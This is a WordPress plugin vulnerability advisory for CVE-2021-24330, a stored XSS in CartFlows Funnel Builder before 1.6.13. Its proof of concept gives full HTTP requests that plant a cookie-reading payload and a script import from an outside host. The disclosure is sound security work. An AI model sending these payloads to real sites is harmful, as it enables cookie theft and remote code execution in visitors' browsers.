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WordPress Plugin Vulnerabilities

Funnel Builder by CartFlows < 1.6.13 - Authenticated Stored XSS via FB Pixel ID and Google Analytics ID

Description

The plugin did not sanitise its facebook_pixel_id and google_analytics_id settings, allowing high privilege users to set XSS payload in them, which will either be executed on pages generated by the plugin, or the whole website depending on the settings used.

Proof of Concept

### -- [ Payloads: ]

[$] 'm0ze'); alert(document.cookie); //('m0ze'


### -- [ PoC #1 | Authenticated Persistent XSS | Facebook Pixel ID: ]

[!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------136768928210535225113059586199
Content-Length: 1787

-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking]"

enable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking_for_site]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking_for_site]"

enable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_id]"

'm0ze'); alert(document.cookie); //('m0ze'
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_initiate_checkout]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_add_payment_info]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_purchase_complete]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="action"

cartflows_save_global_settings
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="security"

e918af4728
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="setting_tab"

facebook_pixel
-----------------------------136768928210535225113059586199--



### -- [ PoC #2 | Authenticated Persistent XSS | Google Analytics ID: ]

[!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------372833242730857634751324923175
Content-Length: 1814

-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics]"

enable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics_for_site]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[google_analytics_id]"

';import("https://m0ze.ru/payload/a2r.js");'
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_begin_checkout]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_add_to_cart]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_add_payment_info]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_purchase_event]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="action"

cartflows_save_global_settings
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="security"

e918af4728
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="setting_tab"

google_analytics
-----------------------------372833242730857634751324923175--
 

Affects Plugins

cartflows
Fixed in version 1.6.13

References

CVE
CVE-2021-24330
URL
https://m0ze.ru/vulnerability/[2021-04-26]-[WordPress]-[CWE-79]-Funnel-Builder-by-CartFlows-WordPress-Plugin-v1.6.12.txt

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

m0ze

Submitter

m0ze

Submitter website
https://m0ze.ru
Submitter twitter
vladm0ze
Verified

Yes

WPVDB ID
b9748066-83b7-4762-9124-de021f687477

Timeline

Publicly Published

2021-05-17 (about 1 years ago)

Added

2021-05-17 (about 1 years ago)

Last Updated

2021-05-18 (about 1 years ago)

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